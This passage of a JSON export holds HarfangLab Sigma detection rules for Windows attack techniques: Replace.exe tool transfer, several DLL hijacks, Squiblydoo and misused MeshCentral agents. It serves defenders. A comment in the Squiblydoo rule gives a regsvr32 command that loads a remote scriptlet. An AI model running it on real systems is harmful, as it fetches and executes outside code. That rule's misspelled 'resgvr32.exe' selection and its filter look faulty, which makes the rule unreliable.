+  "content": "title: Possible Ingress Tool Transfer via Replace.exe\nid: 9c030998-dfcb-45fc-bd74-0c1f38a2d18d\ndescription: |\n    Detects a suspicious execution of Replace.exe to replace a file.\n    Adversaries may use Replace.exe to transfer or copy tools or other files from local or external system into a compromised environment.\n    It is recommended to check the content of the newly created file and other actions made by the parent process for malicious purpose.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Replace/\n    - https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/\n    - https://attack.mitre.org/techniques/T1105/\ndate: 2022/12/02\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Replace\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\replace.exe'\n        OriginalFileName: 'REPLACE.EXE'\n\n    exclusion_commandline:\n        ProcessCommandLine:\n            - '?:\\WINDOWS\\system32\\replace.exe'\n            - '?:\\WINDOWS\\system32\\replace.exe /?'\n\n    exclusion_cygwin:\n        ParentImage|endswith: '\\cygwin\\bin\\bash.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9c030998-dfcb-45fc-bd74-0c1f38a2d18d",
+  "rule_name": "Possible Ingress Tool Transfer via Replace.exe",
+  "rule_description": "Detects a suspicious execution of Replace.exe to replace a file.\nAdversaries may use Replace.exe to transfer or copy tools or other files from local or external system into a compromised environment.\nIt is recommended to check the content of the newly created file and other actions made by the parent process for malicious purpose.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9c0f1e65-1213-4bb9-9982-65fc698464c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074512Z",
+  "creation_date": "2026-03-23T11:45:34.074514Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074519Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992",
+    "https://attack.mitre.org/techniques/T1574/001/",
+    "https://attack.mitre.org/techniques/T1574/002/"
+  ],
+  "name": "t1574_001_persistence_dll_hijack_sessionenv_tsmsisrv_tsvipsrv.yml",
+  "content": "title: SessionEnv Service DLL Hijack Detected\nid: 9c0f1e65-1213-4bb9-9982-65fc698464c7\ndescription: |\n    Detects the execution of a DLL hijack of the SessionEnv service trying to load the non-existants TSMSISrv.dll or TSVIPSrv.dll DLLs from the system32 directory (the DLLs are actually searched in multiple directories in the search path).\n    Attackers can use this DLL hijack to establish persistence by planting a malicious DLL that will be executed upon the start of the SessionEnv service.\n    It is recommended to analyze the loaded DLL for malicious contents, as well as to analyze the process responsible for its creation.\nreferences:\n    - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992\n    - https://attack.mitre.org/techniques/T1574/001/\n    - https://attack.mitre.org/techniques/T1574/002/\ndate: 2020/10/02\nmodified: 2025/01/28\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.t1574.001\n    - attack.t1574.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded:\n            - '*\\TSMSISrv.dll'\n            - '*\\TSVIPSrv.dll'\n        Image|endswith: '\\svchost.exe'\n\n    filter_signed:\n        # on windows server 2019, the 2 DLL ARE present and signed...\n        Signature|contains: \"Microsoft Windows\"\n\n    exclusion_legit:\n        sha256:\n          - 'ba7047bf1650b072bed9d3abb3334866c04c28f968066b31ab13a1e7e5b4b3b5' # TSVIPSrv.dll version 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n          - 'e5bb0a7e9d9b5733cb078e9da5d7232cce2cc4442b14d8b1f0d3a9e6f1117483' # TSMSISrv.dll version 6.1.7601.17514 (win7sp1_rtm.101119-1850)\n          - '1b0d7abf1d3632dcf16dcba1c6c085d82f30c0d412a4cc4c355cfc649be078a5' # TSVIPSrv.dll version 6.3.9600.16384 (winblue_rtm.130821-1623)\n          - '601fd73e2f24312b0f891b7d4bb22cffa5285e32437f4941de14ab1bcf11e404' # TSMSISrv.dll version 6.3.9600.16384 (winblue_rtm.130821-1623)\n          - 'f279853d20ea6212a3f78c754b4c414acaa2f074d385baaedade0359cb6f60ea' # TSVIPSrv.dll version 6.1.7601.23403 (win7sp1_ldr.160325-0600)\n          - '530db7da2e75330ad9338eb0ce80bf8b7270b9365e25e094836edbe391cdc2ba' # TSMSISrv.dll version 6.1.7601.23403 (win7sp1_ldr.160325-0600)\n          - '9a3bb9988f457272d1f0f200594f8e80fc8065aef22b6badd1396e6a1374aa50' # TSMSISrv.dll version 10.0.17763.1697 (WinBuild.160101.0800)\n          - 'ab433507cf4c5f3a1afd4c41c03388e11f66e978b8ba54e15c44fee422e0f38c' # TSVIPSrv.dll version 10.0.17763.1 (WinBuild.160101.0800)\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9c0f1e65-1213-4bb9-9982-65fc698464c7",
+  "rule_name": "SessionEnv Service DLL Hijack Detected",
+  "rule_description": "Detects the execution of a DLL hijack of the SessionEnv service trying to load the non-existants TSMSISrv.dll or TSVIPSrv.dll DLLs from the system32 directory (the DLLs are actually searched in multiple directories in the search path).\nAttackers can use this DLL hijack to establish persistence by planting a malicious DLL that will be executed upon the start of the SessionEnv service.\nIt is recommended to analyze the loaded DLL for malicious contents, as well as to analyze the process responsible for its creation.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9c113891-aff7-41d7-9b05-faa3ef67baf0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085484Z",
+  "creation_date": "2026-03-23T11:45:34.085486Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085491Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://car.mitre.org/analytics/CAR-2019-04-003/",
+    "https://attack.mitre.org/techniques/T1218/010/"
+  ],
+  "name": "t1218_010_squiblydoo_renamed.yml",
+  "content": "title: Possible Library Squiblydoo Attack Detected\nid: 9c113891-aff7-41d7-9b05-faa3ef67baf0\ndescription: |\n    Detects a renamed scrobj.dll being loaded by regsvr32, a technique also known as Squiblydoo.\n    Squiblydoo is a specific usage of regsvr32 to load a COM scriptlet directly from the Internet and execute it in a way that bypasses application whitelisting.\n    It is recommended to investigate URLs in the command-line of the regsvr32 process, as well as network connections and other surrounding telemetries to determine if this action was legitimate.\nreferences:\n    - https://car.mitre.org/analytics/CAR-2019-04-003/\n    - https://attack.mitre.org/techniques/T1218/010/\ndate: 2021/03/31\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218.010\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.LOLBin.Regsvr32\n    - classification.Windows.LOLBin.Scrobj\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    # copy C:\\windows\\system32\\scrobj.dll C:\\temp\\my.dll\n    # regsvr32.exe -u -s -i:https://google.fr c:\\temp\\my.dll\n    selection:\n        Image|endswith: '\\resgvr32.exe'\n        OriginalFileName: 'scrobj.dll'\n\n    filter_scrobj:\n        ImageLoaded|contains: 'scrobj'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9c113891-aff7-41d7-9b05-faa3ef67baf0",
+  "rule_name": "Possible Library Squiblydoo Attack Detected",
+  "rule_description": "Detects a renamed scrobj.dll being loaded by regsvr32, a technique also known as Squiblydoo.\nSquiblydoo is a specific usage of regsvr32 to load a COM scriptlet directly from the Internet and execute it in a way that bypasses application whitelisting.\nIt is recommended to investigate URLs in the command-line of the regsvr32 process, as well as network connections and other surrounding telemetries to determine if this action was legitimate.\n",
+  "rule_creation_date": "2021-03-31",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9c3c82c3-639f-48aa-8b71-0226e015feec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076868Z",
+  "creation_date": "2026-03-23T11:45:34.076881Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076885Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_vsgraphicsremoteengine.yml",
+  "content": "title: DLL Hijacking via vsgraphicsremoteengine.exe\nid: 9c3c82c3-639f-48aa-8b71-0226e015feec\ndescription: |\n    Detects potential Windows DLL Hijacking via vsgraphicsremoteengine.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'vsgraphicsremoteengine.exe'\n        ImageLoaded|endswith:\n            - '\\d2d1.dll'\n            - '\\d3d11.dll'\n            - '\\dxgi.dll'\n            - '\\webservices.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9c3c82c3-639f-48aa-8b71-0226e015feec",
+  "rule_name": "DLL Hijacking via vsgraphicsremoteengine.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via vsgraphicsremoteengine.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9c63e668-44a3-458f-973f-62af5e790af6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082942Z",
+  "creation_date": "2026-03-23T11:45:34.082944Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082948Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/malmoeb/status/1558861977379868672",
+    "https://meshcentral.com/info/",
+    "https://attack.mitre.org/techniques/T1219/002/"
+  ],
+  "name": "t1219_002_abnormal_meshcentral_agent_execution.yml",
+  "content": "title: Abnormal MeshCentral Agent Execution\nid: 9c63e668-44a3-458f-973f-62af5e790af6\ndescription: |\n    Detects the abnormal execution of a MeshCentral agent being executed on the target host.\n    This rule detects MeshAgent being executed with a renamed executable or from an unconventional directory.\n    MeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\n    It is recommended to investigate the parent process for suspicious activities as well as to look for other malicious actions stemming from the installed MeshCentral agent.\nreferences:\n    - https://twitter.com/malmoeb/status/1558861977379868672\n    - https://meshcentral.com/info/\n    - https://attack.mitre.org/techniques/T1219/002/\ndate: 2022/10/06\nmodified: 2025/06/27\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1219.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.RMM.MeshCentral\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - ProcessInternalName: 'MeshAgent'\n        - ProcessDescription: 'Mesh Agent Service'\n        - ProcessProduct: 'Mesh Agent Service'\n        - ProcessSignatureSignerIssuerName|startswith: 'MeshCentralRoot-'\n\n    filter_legitimate_path:\n        Image|startswith:\n            - '?:\\Program Files\\Mesh Agent\\'\n            - '?:\\Program Files (x86)\\Mesh Agent\\'\n\n    filter_legitimate_name:\n        Image|endswith: '\\MeshAgent.exe'\n\n    exclusion_tacticalrmm:\n        ParentImage:\n            - '?:\\Program Files\\TacticalAgent\\tacticalrmm.exe'\n            - '?:\\Program Files (x86)\\TacticalAgent\\tacticalrmm.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9c63e668-44a3-458f-973f-62af5e790af6",
+  "rule_name": "Abnormal MeshCentral Agent Execution",
+  "rule_description": "Detects the abnormal execution of a MeshCentral agent being executed on the target host.\nThis rule detects MeshAgent being executed with a renamed executable or from an unconventional directory.\nMeshCentral is a remote host control tool that can be used maliciously as a Remote Access Tool (RAT).\nIt is recommended to investigate the parent process for suspicious activities as well as to look for other malicious actions stemming from the installed MeshCentral agent.\n",
+  "rule_creation_date": "2022-10-06",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9c6edfa4-db0e-4777-9bfb-0973b944d5bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.590658Z",
+  "creation_date": "2026-03-23T11:45:34.590664Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.590676Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://twitter.com/an0n_r0/status/1544472352657915904",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sigverif.yml",
+  "content": "title: DLL Hijacking via sigverif.exe\nid: 9c6edfa4-db0e-4777-9bfb-0973b944d5bc\ndescription: |\n    Detects potential Windows DLL Hijacking via sigverif.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://twitter.com/an0n_r0/status/1544472352657915904\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'sigverif.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\version.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9c6edfa4-db0e-4777-9bfb-0973b944d5bc",
+  "rule_name": "DLL Hijacking via sigverif.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via sigverif.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9c8ee247-5c0d-4b48-b359-9c783295fa19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095607Z",
+  "creation_date": "2026-03-23T11:45:34.095609Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095613Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_legacynetuxhost.yml",
+  "content": "title: DLL Hijacking via LegacyNetUXHost.exe\nid: 9c8ee247-5c0d-4b48-b359-9c783295fa19\ndescription: |\n    Detects potential Windows DLL Hijacking via LegacyNetUXHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'LegacyNetUXHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wlanapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9c8ee247-5c0d-4b48-b359-9c783295fa19",
+  "rule_name": "DLL Hijacking via LegacyNetUXHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via LegacyNetUXHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9cbee887-963e-4baf-92c7-ec0b87858928",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077655Z",
+  "creation_date": "2026-03-23T11:45:34.077657Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077661Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_nlb.yml",
